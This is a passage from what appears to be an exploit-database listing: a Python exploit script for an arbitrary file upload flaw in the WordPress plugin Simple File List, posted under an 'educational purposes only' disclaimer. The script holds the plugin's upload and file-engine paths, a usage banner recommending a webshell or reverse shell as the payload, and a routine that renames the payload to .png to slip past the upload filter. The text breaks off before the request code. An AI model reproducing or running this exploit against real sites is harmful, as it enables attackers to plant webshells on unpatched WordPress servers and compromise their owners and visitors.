Exploits / Vulnerability Discovered : 2020-11-02 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress plugin simple file list 5.4 arbitrary file upload is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Exploit Title: Wordpress Plugin Simple File List 5.4 - Arbitrary File Upload
# Date: 2020-11-01
# Exploit Author: H4rk3nz0 based off exploit by coiffeur
# Original Exploit: https://www.exploit-db.com/exploits/48349
# Vendor Homepage: https://simplefilelist.com/
# Software Link: https://wordpress.org/plugins/simple-file-list/
# Version: Wordpress v5.4 Simple File List v4.2.2
import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()
dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
file_name = raw_input('[*] Enter File Name (working directory): ')
protocol = raw_input('[*] Enter protocol (http/https): ')
http = protocol + '://'
def usage():
banner ="""
USAGE: python simple-file-list-upload.py <ip-address>
NOTES: Append :port to IP if required.
Advise the usage of a webshell as payload. Reverseshell payloads can be hit or miss.
"""
print (banner)
def file_select():
filename = file_name.split(".")[0]+'.png'
with open(file_name) as f:
with open(filename, 'w+') as f1:
for line in f:
f1.write(line)
print ('[+] File renamed to ' + filename)
return filename